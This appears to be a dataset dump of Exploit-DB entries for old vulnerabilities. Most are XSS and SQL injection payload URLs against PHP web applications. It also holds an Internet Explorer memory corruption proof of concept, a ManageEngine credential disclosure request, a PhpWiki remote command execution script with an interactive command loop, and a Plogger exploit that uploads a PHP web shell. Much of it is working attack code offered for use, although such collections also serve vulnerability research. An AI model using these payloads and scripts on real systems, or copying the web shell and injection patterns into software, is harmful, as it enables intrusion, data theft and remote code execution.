QLWD/code_shield huggingface dataset:
标题: TurnkeyForms Yahoo Answers Clone - 'questiondetail.php' Cross-Site Scripting EDB-ID: 34482 CVE: 2009-4858 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42480/info

TurnkeyForms Yahoo Answers Clone is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/questiondetail.php?questionid="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34482
标题: Payment Processor Script (PPScript) - 'shop.htm' SQL Injection EDB-ID: 34493 CVE: 2009-4724 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/42539/info

PPScript is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/shop.htm?cid=999999999+union+select+1,2,concat(user(),0x3a,version(),0x3a,database())
http://www.example.com/shop.htm?cid=31+and+1=1
http://www.example.com/shop.htm?cid=31+and+1=100 URL: https://www.exploit-db.com/exploits/34493
标题: Nasim Guest Book - 'page' Cross-Site Scripting EDB-ID: 34483 CVE: 2009-4869 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42503/info

Nasim Guest Book is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Nasim Guest Book version 1.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=1>"><ScRiPt %0D%0A>alert(400686892848)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34483
标题: ViArt Helpdesk - 'products.php?category_id' Cross-Site Scripting EDB-ID: 34494 CVE: 2009-4548 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42543/info

ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

httpwww.example.com/helpdesk-demo/products.php?category_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34494
标题: Joomla! Component Weblinks - 'Itemid' SQL Injection EDB-ID: 34475 CVE: 2010-4938 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/42455/info

The 'com_weblinks' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/{path}/index.php?option=com_weblinks&view=categories&Itemid=[SQL] URL: https://www.exploit-db.com/exploits/34475
标题: Beex - 'partneralle.php?navaction' Cross-Site Scripting EDB-ID: 34471 CVE: 2009-3057 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/42451/info
 
Beex is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Beex 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/demos/beex3/partneralle.php?page=1&navaction="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34471
标题: Beex - 'news.php?navaction' Cross-Site Scripting EDB-ID: 34470 CVE: 2009-3057 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/42451/info

Beex is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Beex 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/demos/beex3/news.php?page=1&Sortieren=0&navaction="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34470
标题: Property Watch - 'email.php?videoid' Cross-Site Scripting EDB-ID: 34473 CVE: 2009-3066 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/42453/info

Property Watch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Property Watch 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/tools/email.php?videoid="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34473
标题: Property Watch - 'login.php?redirect' Cross-Site Scripting EDB-ID: 34474 CVE: 2009-3066 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/42453/info
 
Property Watch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Property Watch 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/tools/login.php?redirect="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34474
标题: Microsoft Internet Explorer 8 - 'toStaticHTML()' HTML Sanitization Bypass EDB-ID: 34478 CVE: 2010-3324 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/42467/info

Internet Explorer 8 is prone to a security-bypass weakness.

Internet Explorer 8 includes a method designed to sanitize executable script constructs from HTML. Attackers can bypass this protection, allowing script code to execute on the client, for example in a 'postMessage' call.

Attackers can leverage this issue to obtain sensitive information or potentially launch cross-site scripting attacks on unsuspecting users of targeted sites. Other attacks may also be possible. 

<script type="text/javascript">
function fuckie()
{
var szInput = document.shit.input.value;
var szStaticHTML = toStaticHTML(szInput);

ResultComment = szStaticHTML;
document.shit.output.value = ResultComment;
}
</script>

<form name="shit">
<textarea name=&#039;input&#039; cols=40 rows=20>
&lt;/textarea&gt;
<textarea name=&#039;output&#039; cols=40 rows=20>
&lt;/textarea&gt;

<input type=button value="fuck_me" name="fuck" onclick=fuckie();>
</form>


<style>

} () import <%7D () import> url(&#039;//127.0.0.1/1.css&#039;);aaa

{;}

</style>

<div id="x">Fuck Ie</div> URL: https://www.exploit-db.com/exploits/34478
标题: F5 Big-IP - rsync Access EDB-ID: 34465 CVE: 2014-2927 类型: REMOTE 平台: HARDWARE 发布日期: 2014-08-29 漏洞利用脚本: When configured in a high availability mode, the F5 solution suffers from an unauthenticated rsync access vulnerability that can be leveraged to upload a malicious SSH key and gain remote root access to the appliance.
The BigIP platform configures an rsync daemon listening on the ConfigSync interfaces when the system is configured in a failover mode. The rsync daemon as currently configured does not require any authentication and the “cmi” module has complete read/write access to the system. If the ConfigSync IP addresses are accessible by a malicious third party, it is possible to upload an authorized_keys file directly into the /var/ssh/root directory and then open a root SSH session on the f5 device.

Advisory: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34465.pdf URL: https://www.exploit-db.com/exploits/34465
标题: PaoBacheca 2.1 - 'scrivi.php' URI Cross-Site Scripting EDB-ID: 34454 CVE: 2009-3493 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/42423/info
 
PaoBacheca is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
PaoBacheca 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/paobacheca/demo/scrivi.php/"><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34454
标题: Rock Band CMS 0.10 - 'news.php' Multiple SQL Injections (2) EDB-ID: 34455 CVE: 2009-3252 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/42424/info

Rock Band CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/news.php?year=-2004+UNION+SELECT+1,2,3,4--
http://www.example.com/news.php?id=-1+UNION+SELECT+1,2,3,4-- URL: https://www.exploit-db.com/exploits/34455
标题: PaoBacheca 2.1 - 'index.php' URI Cross-Site Scripting EDB-ID: 34453 CVE: 2009-3493 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/42423/info

PaoBacheca is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

PaoBacheca 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/paobacheca/demo/index.php/"><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34453
标题: Amiro.CMS 5.4 - Multiple Input Validation Vulnerabilities EDB-ID: 34459 CVE: 2009-3803 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/42430/info

Amiro.CMS is prone to multiple input-validation vulnerabilities including multiple cross-site scripting issues, an HTML-injection issue, and an information-disclosure issue.

An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user and disclose sensitive information which may aid in launching further attacks.

Amiro.CMS 5.4.0 is affected; other versions may be vulnerable as well. 

'status_msg' = a: 2: (s: 3: "sys"; a: 0: () s: 5: "plain"; a: 1: (i: 0; a: 2: (s: 3: "msg "; s: 68:" ONsec.ru - XSS test [ALERT] \ "); alert (document.cookie) / / alert ([/ ALERT]"; s: 4: "type"; s: 4: "none ";}}} URL: https://www.exploit-db.com/exploits/34459
标题: PhpWiki - Remote Command Execution EDB-ID: 34451 CVE: 2014-5519 类型: WEBAPPS 平台: PHP 发布日期: 2014-08-28 漏洞利用脚本: ###############################################################
#    ____                    __                  _ __   _ 
#   / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)
#  / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / 
# / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /  
#/_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/   
#             /_/ /_/         /_/                     
# Diskovered in Nov/Dec 2011
###############################################################

import urllib
import urllib2
import sys
def banner():
 print "     ____                    __                  _ __   _ "
 print "    / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)"
 print "   / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / "
 print "  / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /  "
 print " /_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/   "
 print "              /_/ /_/         /_/                     \n"


def usage():
 banner()
 print " [+] Usage example"
 print " [-] python " + sys.argv[0] + " http://path.to/wiki"

if len(sys.argv)< 2:
 usage()
 quit()

domain = sys.argv[1]
def commandexec(cmd):
 data = urllib.urlencode([('pagename','HeIp'),('edit[content]','<<Ploticus device=";echo 123\':::\' 1>&2;'+cmd+' 1>&2;echo \':::\'123 1>&2;" -prefab= -csmap= data= alt= help= >>'),('edit[preview]','Preview'),('action','edit')])
 cmd1 = urllib2.Request(domain +'/index.php/HeIp',data)
 cmd2 = urllib2.urlopen(cmd1)
 output = cmd2.read()
 firstloc = output.find("123:::\n") + len("123:::\n")
 secondloc = output.find("\n:::123")
 return output[firstloc:secondloc]


banner()
print commandexec('uname -a')
print commandexec('id')
while(quit != 1):
 cmd = raw_input('Run a command: ')
 if cmd == 'quit':
  print "[-] Hope you had fun :)"
  quit = 1
 if cmd != 'quit':
  print commandexec(cmd) URL: https://www.exploit-db.com/exploits/34451
标题: Microsoft Internet Explorer - Memory Corruption (PoC) (MS14-029) EDB-ID: 34458 CVE: 2014-1815 类型: DOS 平台: WINDOWS 发布日期: 2014-08-28 漏洞利用脚本: <!doctype html>
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<script >
function stc()
{
var Then = new Date();
Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString();
}
function cid()
{
var swf = 0;
try {
swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash'); } catch (e) {
}
if (!swf)
return 0;
var cookieString = new String(document.cookie);
if(cookieString.indexOf("d93kaj3Nja3") == -1)
{stc(); return 1;}else{ return 0;}
}
String.prototype.repeat=function (i){return new Array(isNaN(i)?1:++i).join(this);}
var tpx=unescape ("%u1414%u1414").repeat(0x60/4-1);
var ll=new Array();
for (i=0;i<3333;i++)ll.push(document.createElement("img"));
for(i=0;i<3333;i++) ll[i].className=tpx;
for(i=0;i<3333;i++) ll[i].className="";
CollectGarbage();
function b2()
{
try{xdd.replaceNode(document.createTextNode(" "));}catch(exception){}
try{xdd.outerText='';}catch(exception){}
CollectGarbage();
for(i=0;i<3333;i++) ll[i].className=tpx;
}
function a1(){
if (!cid())
return;
document.body.contentEditable="true";
try{xdd.applyElement(document.createElement("frameset"));}catch(exception){}
try{document.selection.createRange().select();}catch(exception){}
}
</ script >
</head>
<body onload='setTimeout("a1();",2000);' onresize=b2()>
<marquee id=xdd > </marquee>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1%" height="1%" id="FE">
<param name="movie" value="storm.swf" />
<param name="quality" value="high" />
<param name="bgcolor" value="#ffffff" />
<param name="allowScriptAccess" value="sameDomain" />
<param name="allowFullScreen" value="true" />
</object>
</body>
<body>
<form name=loading>
¡¡<p align=center> <font color="#0066ff" size="2"> Loading....,Please Wait</font> <font color="#0066ff" size="2" face="verdana"> ...</font>
¡¡¡¡<input type=text name=chart size=46 style="font-family:verdana; font-weight:bolder; color:#0066ff; background-color:#fef4d9; padding:0px; border-style:none;">
¡¡¡¡
¡¡¡¡<input type=text name=percent size=47 style="color:#0066ff; text-align:center; border-width:medium; border-style:none;">
¡¡¡¡<script > ¡¡
var bar=0¡¡
var line="||"¡¡
var amount="||"¡¡
count()¡¡
function count(){¡¡
bar=bar+2¡¡
amount =amount + line¡¡
document.loading.chart.value=amount¡¡
document.loading.percent.value=bar+"%"¡¡
if (bar<99)¡¡
{setTimeout("count()",500);}¡¡
else¡¡
{window.location = "http://www.google.com.hk";}¡¡
}</ script >
¡¡</p>
</form>
<p align="center"> Wart,<a style="text-decoration: none" href="http://www.google.com.hk"> <font color="#FF0000"> kick me</font> </a> .</p>
</body>
</html> URL: https://www.exploit-db.com/exploits/34458
标题: PaoLink 1.0 - 'scrivi.php' Cross-Site Scripting EDB-ID: 34443 CVE: 2009-3320 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/42420/info

PaoLink is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

PaoLink 1.0 is vulnerable; other versions may also be affected. 

 http://www.example.com/paolink/demo/scrivi.php/"><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34443
标题: ManageEngine DeviceExpert 5.9 - User Credential Disclosure EDB-ID: 34449 CVE: 2014-5377 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-08-28 漏洞利用脚本: >> User credential disclosure in ManageEngine DeviceExpert 5.9
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================

>> Background on the affected product:
"DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management."


>> Technical details:
Vulnerability: User credential disclosure / CVE-2014-5377
Constraints: no authentication or any other information needed.
Affected versions: UNFIXED as of 27/08/2014 - current version 5.9 build 5980 is vulnerable, older versions likely vulnerable

GET /ReadUsersFromMasterServlet

Example response:
<?xml version="1.0" encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>noreply@zohocorp.com</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>

The passwords are a salted MD5 hash. URL: https://www.exploit-db.com/exploits/34449
标题: Plogger 1.0-RC1 - (Authenticated) Arbitrary File Upload EDB-ID: 34447 CVE: 2014-2223 类型: WEBAPPS 平台: PHP 发布日期: 2014-08-28 漏洞利用脚本: #!/usr/bin/env python


# Exploit Title: Plogger Authenticated Arbitrary File Upload
# Date: Feb 2014
# Exploit Author: b0z
# Vendor Homepage: www.plogger.org
# Software Link: www.plogger.org/download
# Version: Plogger prior to 1.0-RC1
# CVE : 2014-2223

import hashlib
import os
import zipfile

import requests
import time
import argparse



def login(session,host,username,password):
    print "[+] Log in"

    session.post('http://%s/plog-admin/plog-upload.php' % host, data={
        "plog_username": username,
        "plog_password": password,
        "action": "log_in"
    })

def upload(session):
    print "[+] Creating poisoned gift"
    ## Write the backdoor
    backdoor = open(magic + '.php', 'w+', buffering = 0)
    backdoor.write("<?php system($_GET['cmd']) ?>")
    backdoor.close

    # Add true image file to block the race condition (mandatory not null)
    image = open(magic + '.png', 'w+', buffering = 0)
    image.write('A')
    image.close

    gift = zipfile.ZipFile(magic + '.zip', mode = 'w')
    gift.write(magic + '.php')
    gift.write(magic + '.png')
    gift.close

    os.remove(magic + '.php')
    os.remove(magic + '.png')

    gift = open(magic + '.zip', 'rb')
    files= { "userfile": ("archive.zip", gift)}
    session.post('http://%s/plog-admin/plog-upload.php' % host, files=files,
        data = {
            "destination_radio":"existing",
            "albums_menu" : "1",
            "new_album_name":"",
            "collections_menu":"1",
            "upload":"Upload"
    })

    os.remove(magic + '.zip')
    print '[+] Here we go ==> http://%s/plog-content/uploads/archive/%s.php' % (host,magic)

if __name__== "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument("--host"        , help="Remote host",required=True)
    parser.add_argument("--user"        , help="Username",required=True)
    parser.add_argument("--password"    , help="Password",required=True)
    args = parser.parse_args()

    host     = args.host
    username = args.user
    password = args.user

    magic = hashlib.sha1(time.asctime()).hexdigest()

    session = requests.session()
    login(session,host,username,password)
    upload(session) URL: https://www.exploit-db.com/exploits/34447
标题: RSSMediaScript - 'index.php' Cross-Site Scripting EDB-ID: 34444 CVE: 2009-3311 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/42421/info

RSSMediaScript is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo/index.php?cat=5&page=1"><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34444
标题: LiveStreet 0.2 - '/include/ajax/blogInfo.php?asd' Cross-Site Scripting EDB-ID: 34446 CVE: 2009-3256 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/42422/info
 
LiveStreet is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.
 
LiveStreet 0.2 is vulnerable; other versions may also be affected.

Cross Site Scripting:

/include/ajax/blogInfo.php?asd=<script>alert(&#039;www.example.com&#039;)</script> URL: https://www.exploit-db.com/exploits/34446